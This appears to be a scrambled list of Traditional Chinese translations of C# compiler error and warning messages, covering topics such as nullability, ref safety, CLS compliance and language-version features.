為巢狀類別 + 語言不支援 '{0}' 的呼叫慣例。 + 模組 '{0}' 已定義在此組件中。每個模組都必須要有不重複的檔案名稱。 + 屬性在此內容中無效。 + 固定大小緩衝區 + 方法或存取子區塊後的分號無效 + {0} '{1}' 的成員不可用為 ref 或 out 值,因為它是唯讀變數 + 使用者定義的運算子 '{0}' 無法宣告為已檢查 + 從組件 '{1}' 內嵌 Interop 類型 '{0}',會造成目前組件中的名稱衝相突。請考慮將 [內嵌 Interop 類型] 屬性設定為 false。 + 具有變數引數的方法不符合 CLS 規範 + '{0}': 存取子上的存取範圍修飾元,只有在屬性或索引子同時有 get 和 set 存取子時,才可使用 + 無法定義利用 'dynamic' 的類別或成員,因為找不到編譯器的必要類型 '{0}'。是否遺漏了參考? + 修飾元 'abstract' 在欄位上無效。請嘗試改用屬性。 + 因為記錄不是密封的,所以複製建構函式 '{0}' 必須是公用或受保護。 + 布林類型的參數 + 運算式的結果一律會是類型 '{0}' 的 'null' + 參數 '{0}' 型別中參考型別的可 Null 性與部分方法宣告不符合。 + CLSCompliant 屬性在套用至傳回類型時沒有任何意義 + 無法將 {0} 轉換成想要的委派類型,因為區塊中的某些傳回類型,無法隱含轉換成委派傳回類型 + 遺漏公用可見類型或成員 '{0}' 的 XML 註解 + 成員 '{0}' 會實作類型 '{2}' 的介面成員 '{1}'。在執行階段發現多個相符的介面成員。實作將會視所呼叫的方法而定。 + 編譯器將錯誤覆寫為警告時會發出此警告。如需此問題的相關資訊,請搜尋提及的錯誤碼。 + 使用變數 + new() 條件約束必須是最後指定的條件約束 + '{0}' 已列於元組元素名稱不同的類型 '{2}' 介面清單中,名稱為 '{1}'。 + 因為參考型別的可 NULL 性有所差異,所以無法將類型 '{0}' 的引數用作 '{3}' 中參數 '{2}' 的類型 '{1}' 輸出。 + ref 欄位 + 從未指派欄位 '{0}',會持續使用其預設值 {1} + Friend 組件參考 '{0}' 無效。以強式名稱簽署的組件,在其 InternalsVisibleTo 宣告中必須指定公開金鑰。 + 類型不符合 CLS 規範,因為基底介面不符合 CLS 規範 + 類型 '{1}' 已定義了一個具有相同參數類型且名為 '{0}' 的成員 + <!-- Badly formed XML comment ignored for member "{0}" --> + 內嵌陣列結構不可有明確的版面配置。 + 無法將沒有參數清單的匿名方法區塊,轉換成委派類型 '{0}',因為其有一或多個 out 參數 + 參數類型 '{0}' 是否可為 NULL 的情況,與覆寫的成員不相符 (可能的原因是屬性可為 NULL )。 + 屬性 '{0}' 只有在方法或屬性類別上才有效 + 內嵌陣列長度必須大於 0。 + 在此內容中不可使用關鍵字 'void' + Switch 運算式未處理某些 Null 輸入 (其並不詳盡)。例如,未涵蓋模式 '{0}'。但具有 'when' 子句的模式可能可以成功與這個值相符。 + 元素欄位為 'ref' 欄位或具有無效類型引數的內嵌陣列類型,不支援 'Inline arrays' 語言功能。 + 命名空間 '{1}' 已包含 '{0}' 的定義 + 項目: 不可為空白 + 外部區域函式 + 必須是識別項或數值常值。 + '{1}' 上的 XML 註解中的 '{0}' 有 paramref 標籤,但沒有該名稱的參數 + 必須是可多載的一元運算子 + 這會藉傳址方式傳回參數 '{0}' 的成員,其不是 ref 或 out 參數 + 無法在 '{0}' 中進行非虛擬的成員查詢,因為其為型別參數 + 屬性子模式需要對屬性或欄位的參考才能比對,例如 '{{ Name: {0} }}' + 儲存在 '{1}' 中的模組名稱 '{0}',必須符合其檔案名稱。 + 無法將 null 常值轉換成不可為 Null 的參考型別。 + 若將 '{0}' 用作為 ref 或 out 值或取得其位址,皆可能會導致執行階段例外狀況,因為其為傳址封送類別的欄位 + 指定的版本字串 '{0}' 不符合建議的格式 - major.minor.build.revision + 這會藉傳址方式傳回參數的成員,其不是 ref 或 out 參數 + '{0}': 陣列元素不可為靜態類型 + 建構函式 + 因為 SyntaxTree 不屬於編譯的一部份,所以無法將其移除 + 無法確認條件運算式的類型,因為 '{0}' 和 '{1}' 之間沒有隱含轉換 + 無法指派給 '{0}',因為其為 '{1}' + 事件 '{0}' 只可出現在 += 或 -= 的左側 (除非從類型 '{1}' 中使用) + 無法在此內容中使用屬性或索引子 '{0}',因為無法存取 set 存取子 + 參數 '{0}' 的 'scoped' 修飾元不符合目標 '{1}'。 + {0} 不是有效的 C# 轉換運算式 + 具名引數 '{0}' 會指定已指定其位置引數的參數 + 無法將方法群組 '{0}' 轉換成非委派類型 '{1}'。原本希望叫用該方法嗎? + 因為模組的 /win32manifest 僅適用於組件,因此將予以忽略 + foreach 要求 '{1}' 的傳回類型 '{0}' 必須要有適合的公用 MoveNext 方法以及公用 Current 屬性 + (與之前警告相關符號的位置) + 陣列初始設定式只可用於變數或欄位初始設定式中。請嘗試改用 new 運算式。 + <null> + <文字> + 預設型別參數條件約束 + '{0}' 與委派 '{1}' 之間的參考不符 + '{0}': 因為 '{1}' 不是函式,所以無法覆寫 + 隱含類型區域變數 + 記錄成員 '{0}' 必須是類型 '{1}' 的可讀取執行個體屬性或欄位,才能符合位置參數 '{2}'。 + 因為目標執行階段不支援預設介面實作,所以 '{0}' 無法在類型 '{2}' 中實作介面成員 '{1}'。 + 內嵌陣列結構必須宣告一個且只可有一個執行個體欄位。 + 預先定義的類型 '{0}' 必須為結構。 + 內嵌陣列存取不能有具名引數指定名稱 + 隱含類型陣列 + 使用 Microsoft.CodeAnalysis.CSharp.SyntaxFactory.Identifier 或 Microsoft.CodeAnalysis.CSharp.SyntaxFactory.VerbatimIdentifier 來建立識別項語彙基元。 + 關鍵字 'delegate' 無法做為限制式。您是指 'System.Delegate'? + '{0}': using 陳述式中使用的類型必須可以隱含轉換為 'System.IDisposable'。 + 可能誤用了參考比較; 若要進行數值比較,請將左側轉型為類型 '{0}' + 陣序規範無效: 必須是 ',' 或 ']' + 屬性存取子已定義 + 無法使用陣列初始設定式來初始設定隱含類型變數 + 常數中包含新行字元 + 必須是 'warnings'、'annotations' 或指示詞結尾 + 無法建立分析器執行個體 + '{0}' 的主體不可是迭代區塊,因為 '{1}' 不是 Iterator 介面類型 + 指派至 '{0}' 的運算式必須為常數 + 變數宣告中不可指定陣列大小 (請嘗試使用 'new' 運算式進行初始設定) + 篩選條件運算式是常數 'false'。 + '{0}': 抽象事件不可有初始設定式 + 已匯入具有相同識別的多個組件: '{0}' 和 '{1}'。請移除其中一個重複的參考。 + '{0}': using 陳述式中使用的類型必須可以隱含轉換為 'System.IDisposable'。您指的是 'await using' 而不是 'using' 嗎? + '{0}' 中的類型 '{1}' 與 '{2}' 中的命名空間 '{3}' 相衝突 + 輸入必須比對提供的樣式。 + 參數 '{0}' 會擷取為封閉類型的狀態,其值也可用來初始化欄位、屬性或事件。 + CallerLineNumberAttribute 將沒有效果,因為它所套用到的成員是用在不允許選擇性引數的內容 + 必須是類型 + 位置必須在語法樹狀結構的範圍內。 + 模組初始設定式 + 運算式樹狀結構不可包含多維陣列初始設定式 + 目標執行階段不支援可延伸或執行階段環境的預設呼叫慣例。 + InterpolatedStringHandlerArgument 在套用至 Lambda 參數時沒有效果,將於呼叫網站忽略。 + 介面不能包含執行個體欄位 + 無法藉傳址方式傳回 '{0}',因為已將其初始化為無法藉傳址方式傳回的值 + 全域 using 指示詞必須在所有非全域 using 指示詞之前。 + 未預期的別名用法 + 擴充方法中,參數陣列不可用於 'this' 修飾元 + 方法 '{0}' 的呼叫必須以動態方式分派,但因為它是基底存取運算式的一部分,所以無法動態分派。請考慮將動態引數轉型,或排除基底存取。 + 在控制項傳回呼叫者之前,必須先完全指派自動實作屬性。請考慮更新至語言版本以自動預設屬性。 + '{0}': 類型不可同時為靜態及密封 + '{0}' 中有一部分宣告必須全是類別、全是記錄類別、全是結構、全是記錄結構,或全是介面 + 延伸模組 GetEnumerator + 類型名稱 '{0}' 只包含小寫的 ASCII 字元。此類名稱可能保留供此語言使用。 + 符合 CLS 規範的欄位 '{0}' 不可為 Volatile + 此版本的 '{0}' 無法與集合運算式一起使用。 + 必須是內容關鍵字 'equals' + '不再支援 'id#' 語法。請改用 '$id'。 + 提供的行數和字元數並未參照權杖 '{0} 的開頭。您是否要使用行 '{1}' 和字元 '{2}'? + 程式的進入點是全域程式碼; 將忽略進入點 + 參數 '{1}' 之 '{0}' 型別中參考型別的可 Null 性與隱含實作的成員 '{2}' 不符合。 + 從未使用過欄位 + 可以多次處置物件 '{0}'。 + 運算式樹狀架構不得包含元組 == 或 != 運算子 + '{0}' 未實作介面成員 '{1}'。因為 '{2}' 沒有相符的藉傳址方式傳回,所以無法實作 '{1}'。 + '{0}' 無法作為函式指標參數上的修飾元。 + 固定大小緩衝區只能透過區域變數或欄位存取 + '{1}' 上的 XML 註解中的 '{0}' 有 typeparamref 標籤,但沒有該名稱的類型參數 + 介面 '{0}' 中宣告之等式或不等式運算子的其中一個參數在 '{0}' 必須是限制為 '{0}' 的型別參數 + 原始字串常值 + 目標型別條件運算式 + 非同步方法建立器覆寫 + 在 cref 屬性中,泛型類型的巢狀類型必須符合規定 + 運算式樹狀結構不可包含具名引數規格 + /target: 的目標類型無效。必須指定 'exe'、'winexe'、'library' 或 'module' + 不可指定為靜態唯讀欄位 (除非在靜態建構函式或變數初始設定式中) + 成員 '{0}' 無法以執行個體參考進行存取; 請改用類型名稱 + 可能不正確地指派給其為 using 或 lock 陳述式引數的本機 + 除非包含的類型已過時或所有建構函式已過時,否則必要成員 '{0}' 的屬性不應為 'ObsoleteAttribute'。 + 靜態匿名函式不可包含對 '{0}' 的參考。 + 控制項不可脫離 finally 子句的主體 + 參數 '{0}' 會擷取至包含類型的狀態,且其值也會傳遞給基礎建構函式。值也可能由基礎類別擷取。 + 語法節點不在語法樹狀結構內 + 藉傳址傳回只能用於藉傳址方式傳回的方法 + 可能有 Null 參考傳回。 + 型別 '{3}' 無法作為型別參數 '{2}' 用於泛型型別或方法 '{0}' 中。型別引數 '{3}' 的可 Null 性與條件約束型別 '{1}' 不符合。 + 指定的運算式一律不比對提供的樣式。 + 類型 '{0}' 不可宣告為 const + 不要比較函式指標值 + 非同步方法不可出現 ref、in 或 out 參數 + 控制項的位置不可位於最後一個 case 標籤 ('{0}') 的參數之外 + '{0}' 的 using 指示詞之前曾出現於此命名空間中 + 此語言不支援屬性、索引子或事件 '{0}'; 請嘗試直接呼叫存取子方法 '{1}' + 此語言不支援屬性、索引子或事件 '{0}'; 請嘗試直接呼叫存取子方法 '{1}' 或 '{2}' + '{0}': 介面之間不可進行使用者定義的轉換 + 使用 refonly 時,請勿使用 refout。 + 無法在匿名方法、Lambda 運算式、查詢運算式或區域函式中使用 ref、out 或 in 參數 '{0}' + 運算式的結果一律是 'null' + 無法發出模組 '{0}': {1} + Throw 運算式 + 方法 '{0}' 無法實作類型 '{2}' 的介面存取子 '{1}'。請使用明確介面實作。 + 區域函式屬性 + 別名 '{0}' 與 {1} 定義相衝突 + '{0}' 未包含 '{1}' 的定義 + 整數常數太大 + 找不到檔案。 + 此內容中不允許宣告。 + 不得同步傳回進入點的 void 或 int + XML 註解具有 typeparamref 標籤,但是沒有該名稱的類型參數 + PDB 的本機名稱太長 + 指定 Guid 屬性時必須同時指定 ComImport 屬性 + 參數 '{0}' 型別中參考型別的可 Null 性與覆寫的成員不符合。 + 在具有 catch 子句的 try 區塊主體中不可使用 yield 產生值 + 明確介面實作符合多個介面成員 + 在建置模組或程式庫時不能指定 /main + 無法在非同步 foreach 中使用動態類型的集合 + 傳回型別中參考型別的可 Null 性與隱含實作的成員不符合。 + 類型僅供評估之用,可能會在未來更新中變更或移除。抑制此診斷以繼續。 + 靜態匿名函式 + 引數 {0} 應以 'ref' 或 'in' 關鍵字傳遞 + 在具來源類型為 '{1}' 的查詢運算式內的後續 from 子句中,不可使用類型 '{0}' 的運算式。呼叫 '{2}' 時,發生類型推斷失敗。 + null 散佈運算子 + 組件 '{0}' 和 '{1}' 參考相同的中繼資料,但只有一個是連結的參考 (使用 /link 選項指定); 請考慮移除其中一個參考。 + Covariant 傳回 + Covariant + 未預期的引數清單。 + 記錄中不允許名為 'Clone' 的成員。 + 固定大小緩衝區欄位必須是結構的成員 + 運算式樹狀架構不得包含元組轉換。 + 行開頭的空白與原始字串常值結尾行的空白不同。 + 介面中的靜態抽象成員 + 無法讀取組態檔 '{0}' -- '{1}' + 隱含 Index 索引子的引動過程無法為引數命名。 + 非同步 Lambda 運算式不可轉換成運算式樹狀結構 + 類型參數 '{1}' 有 'struct' 條件約束,因此 '{1}' 不可做為 '{0}' 的條件約束 + 'nameof' 中的執行個體成員 + 未定義或匯入預先定義的類型 '{0}' + 作業在執行階段可能會溢位 '{0}' (請使用 'unchecked' 語法覆寫) + 可能的 Null 值不能用於標有 [NotNull] 或 [DisallowNull] 的類型 + 靜態成員上的 'Init' 存取子無效 + 類型引數不可為 null + 外部別名宣告必須位於命名空間中所有其他定義的元素之前 + /platform 的 '{0}' 選項無效; 必須是 anycpu、x86、Itanium、arm、arm64 或 x64 + '{0}' 屬性的引數必須是有效的識別項 + 參考 for 迴圈變數 + 套用到參數 '{0}' 的 CallerMemberNameAttribute 將沒有作用,因為 CallerFilePathAttribute 會覆寫它。 + 內嵌陣列類型的元素只可以隱含方式轉換為 'int'、'System.Index' 或 'System.Range' 的單一引數來存取。 + 不一致的存取範圍: 傳回類型 '{1}' 比委派 '{0}' 的存取範圍小 + 安全屬性 '{0}' 無法套用至非同步方法。 + 組件和模組屬性必須位於檔案中所有定義的其他項目之前 (using 子句與外部別名宣告除外) + 無法在此內容中使用類型,因為它無法在中繼資料中表示。 + 已建立內嵌 Interop 組件的參考,因為參考間接組件 + 結構成員藉傳址方式傳回 'this' 或其他執行個體成員 + Unmanaged 類型 '{0}' 只對欄位有效。 + 無法判斷輸出目錄 + 多行原始字串常值至少必須包含一行內容。 + is' 或 'as' 運算子的第二個運算元不可為靜態類型 '{0}' + 多載一元運算子 '{0}' 接受一個參數 + 建立物件時不能使用 Unsafe 類型 '{0}' + 提供給 InterceptsLocationAttribute 的行數和字元數必須是正數。 + switch 主導的運算式前後必須有括弧。 + 使用未指派的 out 參數 '{0}' + contravariant + 參數 '{0}' 未讀取。 + Conditional 屬性不能用在介面成員上 + 無法修改 Unboxing 轉換的結果 + ref 和 out 在此內容中無效 + 結束標籤 '{0}' 與起始標籤 '{1}' 不對稱。 + fixed 陳述式指派的右側,不可為 cast 運算式 + ref 擴充方法 + 唯讀欄位 '{0}' 的成員不可修改 (除非在建構函式或變數初始設定式中) + 假設 '{1}' 所使用的組件參考 '{0}' 符合 '{3}' 的識別 '{2}',您可能會需要提供執行階段原則 + 作為 == 或 != 運算子之運算元使用的元組類型,必須具有相符的基數。但此運算子在左側的元組類型為基數 {0},在右側則為 {1}。 + SecurityAction 值 '{0}' 對套用至組件的安全屬性無效 + '{0}' 不會覆寫 'object' 的必要方法。 + 範圍變數 '{0}' 與之前的 '{0}' 宣告相衝突 + 延伸模組 GetAsyncEnumerator + 類型 '{2}' 及任何巢狀層級的所有欄位必須是不可為 null 的值類型,如此才能在泛型型別或方法 '{0}' 中將其用為參數 '{1}' + 找不到類型或命名空間名稱 '{0}' (是否遺漏了 using 指示詞或組件參考?) + 必須是內容關鍵字 'on' + 必須是內容關鍵字 'by' + 類型 '{3}' 不可用做為泛型類型或方法 '{0}' 中的類型參數 '{2}'。沒有從 '{3}' 到 '{1}' 的 Boxing 轉換。 + 擴充方法必須為靜態 + XML 註解 cref 屬性中的傳回類型無效 + '{0}' 已經過時: '{1}' + 組件 {0} 不包含任何分析器。 + async-iterator 方法的主體必須包含 'yield' 陳述式。 + 以 Covariant 方式 + 已建立內嵌 Interop 組件 '{0}' 的參考,因為該組件的間接參考已由組件 '{1}' 所建立。請考慮變更其中任一組件的 [內嵌 Interop 類型] 屬性。 + 原始程式檔已超過 PDB 所能顯示的上限 16,707,565 行; 偵錯資訊可能會不正確 + 集合 + 請勿使用 'System.Runtime.CompilerServices.DynamicAttribute'。請改用 'dynamic' 關鍵字。 + '因為組件沒有 CLSCompliant 屬性,所以 '{0}' 不可標記為符合 CLS 規範 + 無法將 '{1}' 參考指派至 '{0}',因為 '{1}' 只能透過 return 陳述式逸出目前的方法。 + 提供的語言版本不受支援或無效: '{0}'。 + 必須是運算式或宣告陳述式。 + 參數 '{0}' 的 'scoped' 修飾元不符合部分方法宣告。 + 無法指派為屬性或索引子 '{0}' -- 其為唯讀 + 方法、委派或函式指標的傳回型別不得為 '{0}' + 必須是識別碼或簡單成員存取。 + 這會藉傳址方式傳回本機 '{0}',但其非參考本機 + 已指定多次分析器參考 + 部分方法宣告在類型參數的限制式中,有不一致的可 NULL 性 + 不一致的存取範圍: 欄位類型 '{1}' 比欄位 '{0}' 的存取範圍小 + /pdb 選項需要同時使用 /debug 選項 + 'is' 運算式的指定運算式一律會是提供的類型 + 全域 using 指示詞不能用在命名空間宣告中。 + #pragma + 類型 '{0}' 必須是公用,才能用為呼叫慣例。 + 必要的成員 '{0}' 必須可設定。 + 每個連結資源與模組,都必須要有不重複的檔案名稱。在此組件中指定了一次以上的檔案名稱 '{0}'。 + 在所配置執行個體的所有參考超出範圍之前,對其呼叫 System.IDisposable.Dispose() + 在屬性和索引子 '{0}' 的存取子上均無法指定 'readonly' 修飾元。請改在屬性自身上放置 'readonly' 修飾元。 + 在屬性存取子上淘汰 + 差補字串處理常式方法 '{0}' 的傳回型別不一致。預期會傳回 '{1}'。 + 運算式樹狀架構 Lambda 不可包含引數上省略 ref 的 COM 呼叫 + params 參數不可宣告為 {0} + 在 foreach 陳述式中同時需要類型與識別項 + 引數 {0}: 無法從 '{1}' 轉換成 '{2}' + 必須在所有固定引數皆已指定之後,具名引數規格才可出現。請使用語言版本 {0} 或更高的版本,以允許非後置的具名引數。 + 字串的開頭必須是引號字元: " + 方法 '{1}' 之類型參數 '{0}' 的條件約束,必須符合介面方法 '{3}' 之類型參數 '{2}' 的條件約束。請考慮改用明確的介面實作。 + 無法藉傳址方式傳回範圍變數 '{0}' + 型別中參考型別的可 Null 性與實作的成員 '{0}' 不符合。 + Unsafe 程式碼不可出現在迭代器中 + 攔截器不能以 'UnmanagedCallersOnlyAttribute' 標示。 + typeof 運算子不得用於可為 Null 的參考型別上 + __arglist 建構函式只有在變數引數方法中才有效 + 無法判斷條件運算式的類型,因為 '{0}' 和 '{1}' 會互相隱含轉換 + 可能的 Null 值不能用於標有 [NotNull] 或 [DisallowNull] 的類型 + 差補字串處理常式 + 'new' 不得搭配元組類型使用。請改用元組常值運算式。 + 未預期的語彙基元 '{0}' + 運算式類型必須是 '{0}',才符合替代的 ref 值 + 在此內容中,無法使用最上層陳述式中宣告的區域變數或區域函式 '{0}'。 + '{0}': 無法衍生自密封類型 '{1}' + 對應至 'in' 參數之引數 {0} 的 'ref' 修飾詞相當於 'in'。請考慮改用 'in'。 + 巢狀運算式中的 stackalloc + 偵錯進入點必須是目前編譯中所宣告方法的定義。 + 在多個局部結構宣告中,欄位之間未定義順序 + 假設 '{1}' 所使用的組件參考 '{0}' 符合 '{3}' 的識別 '{2}',您可能會需要提供執行階段原則 + 傳回型別中參考型別的可 Null 性與實作的成員不符合。 + 無法將方法群組轉換成函式指標 (您是否缺少 '&'?) + XML 註解中的 '{0}' 有 typeparam 標籤,但沒有該名稱的類型參數 + 必須指定屬性參數 '{0}' 或 '{1}'。 + 必須指定屬性參數 '{0}'。 + 運算式主體方法 + 無法使用執行個體成員內具有類似參考類型的主要建立函式參數 '{0}' + CallerFilePathAttribute 將沒有作用,因為它套用到不允許選擇性引數的內容中所使用的成員 + 使用 /refout 或 /refonly 時無法編譯網路模組。 + 類型 '{3}' 不可用做為泛型類型或方法 '{0}' 中的類型參數 '{2}'。可為 Null 的類型 '{3}' 無法滿足 '{1}' 的條件約束。可為 Null 的類型無法滿足任何介面條件約束。 + Include 註解檔中的 XML 格式錯誤 + 命名空間 '{1}' 包含與別名 '{0}' 相衝突的定義 + 組件名稱 {0} 無效 + 運算式樹狀架構不可包含 discard。 + not 樣式 + Argument should be passed with the 'in' keyword + 使用 'is' 測試與 'dynamic' 的相容性,基本上與測試與 'Object' 的相容性相同 + 因為部分方法 '{0}' 有存取範圍修飾詞,所以其必須有實作部分。 + using namespace' 指示詞只能套用至命名空間; '{0}' 是類型而非命名空間。請考慮改用 'using static' 指示詞 + 無法將唯讀欄位 '{0}' 的成員用作為 ref 或 out 值使用 (除非在建構函式中) + 命令列語法錯誤: 選項 '{1}' 的 Guid 格式 '{0}' 無效 + 請勿使用 '_' 參考 is-type 運算式中的類型。 + 預設常值 'default' 作為模式無效。請使用另一個適當的常值 (例如 '0' 或 'null')。若要比對所有項目,請使用捨棄模式 '_'。 + 在 cref 屬性中,泛型類型的巢狀類型必須符合規定。 + CallerLineNumberAttribute 只能套用至具有預設值的參數 + 運算式的結果一律會是 '{0}',因為類型 '{1}' 的值絕對不會等於類型 '{2}' 的 'null' + 無法從迭代器傳回值。請使用 yield return 陳述式傳回值,或使用 yield break 結束反覆運算。 + 產生器無法產生來源。 + 應為 'disable' 或 'restore' + 選項 '{0}' 必須是絕對路徑。 + /subsystemversion 的版本 {0} 無效。ARM 或 AppContainerExe 的版本必須是 6.02 (含) 以上的版本,其他則必須是 4.00 (含) 以上的版本。 + 初始設定式成員宣告子無效 + 列舉泛型類型條件約束 + pathmap 選項格式不正確。 + 固定大小緩衝區類型必須是下列其中一項: bool、byte、short、int、long、char、sbyte、ushort、uint、ulong、float 或 double + 不允許對 '{0}' 使用此引數組合,因為它會在其宣告範圍外公開參數 '{1}' 所參考的變數 + 常數值 '{0}' 不可轉換成 '{1}' + 傳遞引數 {0} 時不可包含 '{1}' 關鍵字 + 無法在此內容中使用屬性或索引子 '{0}',因為無法存取 get 存取子 + 區域函式 + 無法要求 Ref 傳回屬性。 + 元組 + 外部別名 + XML include 元素無效 -- {0} + 除非使用語言版本 '{0}' 或更新版本,否則就必須知道可為 Null 的型別參數是實值型別還是不可為 Null 的參考型別。請考慮變更語言版本,或新增 'class'、'struct' 或類型條件約束。 + 對齊值的範圍可能會導致大型格式化字串 + 運算式樹狀架構不可包含內嵌陣列存取或轉換 + 類型 catch 或 throw 必須衍生自 System.Exception + 未指定任何原始程式檔 + 如有指定公用簽章,屬性 '{0}' 將予忽略。 + 長度為 {0} 且類型為 '{1}' 的固定大小緩衝區太大 + '{0}' 不可實作 '{1}',因為此語言不支援它 + C# 8.0 中無法使用功能 '{0}'。請使用 {1} 或更新的語言版本。 + 在 C# 9.0 中無法使用 '{0}' 功能。請使用語言版本 {1} 或更高的版本。 + C# 2 中無法使用 '{0}' 功能。請使用語言版本 {1} 或更高的版本。 + C# 3 中無法使用 '{0}' 功能。請使用語言版本 {1} 或更高的版本。 + C# 1 中無法使用 '{0}' 功能。請使用語言版本 {1} 或更高的版本。 + C# 6 中無法使用 '{0}' 功能。請使用語言版本 {1} 或更高的版本。 + C# 7.0 中未提供功能 '{0}'。請使用語言版本 {1} 或更高版本。 + C# 4 中無法使用 '{0}' 功能。請使用語言版本 {1} 或更高的版本。 + C# 5 中無法使用 '{0}' 功能。請使用語言版本 {1} 或更高的版本。 + 方法 '{0}' 會為型別參數 '{1}' 指定 'struct' 條件約束,但覆寫或明確實作的方法 '{3}' 對應型別參數 '{2}' 是不可為 Null 實值型別。 + /LIB 選項 + Conditional 屬性在 '{0}' 上無效,因為其傳回類型不是 void + 攔截器不能有 'this' 參數,因為 '{0}' 沒有 'this' 參數。 + 類型樣式 + 類型 '{0}' 的 using 陳述式資源不能用於非同步方法或非同步 Lambda 運算式。 + DllImport 屬性無法套用至泛型方法,或包含在泛型方法或類型中。 + 無參數結構建構函式必須是 'public'。 + 使用未指派的區域變數 '{0}' + 非參考傳回屬性或索引子不可以 out 或 ref 值形式使用 + 成員會在執行階段覆寫具有多個覆寫候選項的基底成員 + 無法藉傳址方式傳回 '{0}',因其為 '{1}' + 跳過載入分析器組件中因 ReflectionTypeLoadException 而失敗的類型 + 內嵌陣列元素欄位不能宣告為必要、唯讀、揮發性或固定大小緩衝區。 + 標記 [DoesNotReturn] 的方法不應傳回。 + 只能有一個編譯單位包含最上層陳述式。 + 類型 '{0}' 的參數或區域變數,不可在非同步方法或非同步 Lambda 運算式中宣告。 + 找不到用以實作部分方法 '{0}' 宣告的定義宣告 + 預設介面實作 + 類型 '{0}' 的參考表示它定義在此組件中,但是在原始檔或任何加入的模組中都未定義它 + 無法傳遞 Null 做為 Friend 組件名稱 + 指定的預設值將沒有效果,因為它所套用到的成員是用在不允許選擇性引數的內容 + 因為參數不是 null,所以傳回值必須非 null。 + 空的 switch 區塊 + '{0}': 抽象類型不可為密封或靜態 + 採用 'Finalize' 方法可能會妨礙解構函式的引動過程 + 在指派 'this' 物件的所有欄位之前,無法使用該物件。請考慮更新語言版本 '{0}',以自動預設未指派的欄位。 + 不允許 '@' 字元序列。逐字字串或識別碼只可有一個 '@' 字元,而原始字串不可有任何字元。 + 來源檔案只能包含一個以檔案為範圍的命名空間宣告。 + 指定的運算式一律不比對提供的樣式。 + 在 fixed 或 using 陳述式宣告中,必須提供初始設定式 + ++ 或 -- 運算子的傳回類型,必須符合此參數類型或衍生自此參數類型 + 變異數無效: 類型參數 '{1}' 必須是在 '{0}' 上有效的 {3}。'{1}' 是 {2}。 + 指令碼或提交的頂層不允許必要的成員。 + '{0}': 動態類型之間不可進行使用者定義的轉換 + AppConfigPath 必須是絕對路徑。 + 語言版本 {0} 不支援自動屬性 (property) 上以欄位為目標的屬性 (attribute)。請使用語言版本 {1} 或更高的版本。 + '{0}' 抽象事件無法使用事件存取子語法 + 無法在多個參數上使用屬性 [EnumeratorCancellation] + 此內容中使用 '{0}' 的結果成員,可能會將參數 '{1}' 參考的變數公開在其宣告範圍外 + 套用到參數 '{0}' 的 CallerFilePathAttribute 將沒有作用,因為 CallerLineNumberAttribute 會覆寫它。 + 可能誤用了空白的陳述式 + Lambda 屬性 + 具有屬性的 Lambda 運算式,不可轉換成運算式樹狀架構 + 類型 '{3}' 不可用做為泛型類型或方法 '{0}' 中的類型參數 '{2}'。沒有從 '{3}' 到 '{1}' 的 Boxing 轉換或類型參數轉換。 + Include 註解檔中的 XML 格式錯誤 -- '{0}' + 浮點 NaN 不可使用關聯性模式。 + 自動實作的屬性必須覆寫已覆寫屬性的所有存取子。 + 關鍵字 'enum' 無法做為限制式。您是指 'struct, System.Enum'? + nameof 的引數中不可使用子運算式。 + Ref 條件運算子的分支不能參考具有不相容宣告範圍的變數 + 固定大小緩衝區欄位在欄位名稱後面必須有陣列大小規範 + 函式指標 + #warning 指示詞 + 方法 '{0}' 沒有任何多載使用 {1} 個引數 + 無法套用有 [] 的索引至類型為 '{0}' 的運算式 + #line 指示詞值遺漏或超出範圍 + Attribute parameter 'SizeConst' must be specified. + '{0}' 不是有效的條件約束。用做為條件約束的類型,必須是介面、非密封類別或類型參數。 + cref 屬性中有模稜兩可的參考: '{0}'。已假設為 '{1}',但也可能符合其他多載,包括 '{2}'。 + 類別 '{0}' 不可有多重基底類別: '{1}' 和 '{2}' + '{0}' 會覆寫 Object.Equals(object o),但是不會覆寫 Object.GetHashCode() + 攔截器不能有 'null' 檔案路徑。 + 不必要的 using 指示詞。 + Could not find an accessible '{0}' method with the expected signature: a static method with a single parameter of type 'ReadOnlySpan<{1}>' and return type '{2}'. + 名稱 '{0}' 不存在於目前的內容中 + 沒有可中斷或繼續的封閉式迴圈 + 明確介面實作 '{0}' 符合多個介面成員。實際選擇的介面成員,與實作相關。請考慮改用非明確實作。 + 參數類型 '{0}' 中參考型別是否可為 NULL 的情況,與實作的成員 '{1}' 不相符 (可能的原因是屬性可為 NULL )。 + 參考未定義的實體 '{0}'。 + XML 註解有格式錯誤的 XML -- '{0}' + 藉傳址方式傳回的屬性必須有 get 存取子 + 除非包含的類型已過時或所有建構函式已過時,否則不應要求具有 'ObsoleteAttribute' 屬性的成員。 + 不一致的存取範圍: 基底介面 '{1}' 比介面 '{0}' 的存取範圍小 + 運算式樹狀結構不可包含匿名方法運算式 + Lambda 運算式 + 參數會擷取至包含類型的狀態,且其值也會傳遞給基礎建構函式。值也可能由基礎類別擷取。 + 必須是類型或命名空間定義,或檔案結尾 + 未結束的字串常值 + 條件約束類型無效。用做為條件約束的類型,必須是介面、非密封類別或類型參數。 + 'is' 或 'as' 運算子的第二個運算元不可為靜態類型 + 運算式一律會造成 System.NullReferenceException,因為類型的預設值為 null + UnscopedRefAttribute 無法套用至介面實作。 + is' 或 'as' 在指標類型上都無效 + 類型參數與外部類型的類型參數名稱相同 + 原始字串常值的引號不足。 + '{0}': 符合 CLS 規範的介面內,所有成員都必須符合 CLS 規範 + 匿名方法運算式無法轉換成運算式樹狀結構 + 已指定多次原始程式檔 + 註解中使用的語法錯誤。 + 運算式 Lambda 中的集合初始設定式不支援擴充功能 Add 方法。 + '{0}' 屬性只有在非明確介面成員宣告的索引子上才有效 + '{0}' 不是屬性類別 + 型別無法作為型別參數用於泛型型別或方法中。型別引數的可 Null 性與 'notnull' 限制式不符合。 + 在常數運算式中不可使用匿名類型 + 運算式與陳述式只可出現在方法主體中 + '{0}' 類型對 'using static' 無效。只能使用類別、結構、介面、列舉、委派或命名空間。 + '{0}' 的類型不符合 CLS 規範 + 運算元 '{1}' 和 '{2}' 上的運算子 '{0}' 模稜兩可 + 引數類型 '{0}' 不符合 CLS 規範 + params 參數必須是單一維度陣列 + 程式的進入點是全域程式碼; 將略過 '{0}' 進入點。 + 無法呼叫抽象基底成員: '{0}' + 無法將 null 轉換成類型參數 '{0}',因為其可能是不可為 null 的實值類型。請考慮改用 'default({0})'。 + 功能不包括在標準化 ISO C# 語言規格中,在其他編譯器上可能無法接受 + 不得在運算式樹狀架構中對方法群組使用 '&' + 在 fixed 陳述式中宣告的區域變數類型不得為函式指標類型。 + 